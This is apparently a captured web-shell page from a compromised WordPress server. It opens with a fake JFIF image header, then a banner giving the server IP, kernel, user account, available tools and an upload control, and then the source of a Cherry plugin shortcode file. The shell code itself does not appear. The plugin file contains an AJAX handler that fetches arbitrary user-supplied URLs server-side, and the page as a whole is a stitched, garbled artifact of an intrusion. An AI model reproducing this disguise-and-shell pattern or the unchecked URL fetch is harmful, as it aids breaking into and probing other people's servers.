????JFIF??x?x????'
Server IP : 104.21.64.1 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/self/cwd/wp-content/plugins/cherry-plugin-x/admin/shortcodes/ |
Upload File : |
<?php /** * TinyMCE Shortcode Integration */ if ( !class_exists('Cherry_TinyMCE_Shortcodes') ) { class Cherry_TinyMCE_Shortcodes { // Constructor function __construct() { // Init add_action( 'admin_init', array( $this, 'init' ) ); // wp_ajax_... is only run for logged users. add_action( 'wp_ajax_cherry_check_url_action', array( $this, 'ajax_action_check_url' ) ); add_action( 'wp_ajax_cherry_shortcodes_nonce', array( $this, 'ajax_action_generate_nonce' ) ); add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_scripts' ), 99 ); // Output the markup in the footer. add_action( 'admin_footer', array( $this, 'output_dialog_markup' ) ); } // Get everything started function init() { global $pagenow; if ( ( current_user_can( 'edit_posts' ) || current_user_can( 'edit_pages' ) ) && get_user_option( 'rich_editing' ) == 'true' && ( in_array( $pagenow, array( 'post.php', 'post-new.php', 'page-new.php', 'page.php' ) ) ) ) { // Add the tinyMCE buttons and plugins. add_filter( 'mce_buttons', array( $this, 'filter_mce_buttons' ) ); add_filter( 'mce_external_plugins', array( $this, 'filter_mce_external_plugins' ) ); wp_enqueue_style( 'tinymce-shortcodes', CHERRY_PLUGIN_URL . 'admin/css/tinymce-shortcodes.css', false, CHERRY_PLUGIN_VERSION, 'all' ); } } // Add new button to the tinyMCE editor. function filter_mce_buttons( $buttons ) { array_push( $buttons, '|', 'cherry_shortcodes_button' ); return $buttons; } // Add functionality to the tinyMCE editor as an external plugin. function filter_mce_external_plugins( $plugins ) { global $wp_version; $suffix = ''; if ( '3.9' <= $wp_version ) { $suffix = '-39'; } $plugins['CherryTinyMCEShortcodes'] = wp_nonce_url( esc_url( CHERRY_PLUGIN_URL . 'admin/shortcodes/editor-plugin' . $suffix . '.js' ), 'cherry-tinymce-shortcodes' ); return $plugins; } // Checks if a given url (via GET or POST) exists. function ajax_action_check_url() { $hadError = true; $url = isset( $_REQUEST['url'] ) ? $_REQUEST['url'] : ''; if ( strlen( $url ) > 0 && function_exists( 'get_headers' ) ) { $url = esc_url( $url ); $file_headers = @get_headers( $url ); $exists = $file_headers && $file_headers[0] != 'HTTP/1.1 404 Not Found'; $hadError = false; } echo '{ "exists": '. ($exists ? '1' : '0') . ($hadError ? ', "error" : 1 ' : '') . ' }'; die(); } // Generate a nonce. function ajax_action_generate_nonce() { echo wp_create_nonce( 'cherry-tinymce-shortcodes' ); die(); } function enqueue_scripts() { wp_register_script( 'tinymce-dialog-script', plugins_url( 'dialog.js', __FILE__ ), array( 'jquery' ), CHERRY_PLUGIN_VERSION, true ); wp_enqueue_script( 'tinymce-dialog-script' ); $plugin_data = array( 'url' => CHERRY_PLUGIN_URL, ); wp_localize_script( 'tinymce-dialog-script', 'plugin_data', $plugin_data ); } /** * Output the HTML markup for the dialog box. */ function output_dialog_markup () { // URL to TinyMCE plugin folder $plugin_url = CHERRY_PLUGIN_URL . '/includes/shortcodes/'; ?> <div id="dialog" style="display:none"> <div class="buttons-wrapper"> <input type="button" id="cancel-button" class="button alignleft" name="cancel" value="<?php _e('Cancel', CHERRY_PLUGIN_DOMAIN) ?>" accesskey="C" /> <input type="button" id="insert-button" class="button-primary alignright" name="insert" value="<?php _e('Insert', CHERRY_PLUGIN_DOMAIN) ?>" accesskey="I" /> <div class="clear"></div> </div> <div class="clear"></div> <h3 class="sc-options-title"><?php _e('Shortcode Options', CHERRY_PLUGIN_DOMAIN) ?></h3> <div id="shortcode-options" class="alignleft"> <table id="options-table"> </table> <input type="hidden" id="selected-shortcode" value=""> </div> <div class="clear"></div> </div><!-- #dialog (end) --> <?php } } $cherry_tinymce_shortcodes = new Cherry_TinyMCE_Shortcodes(); } ?>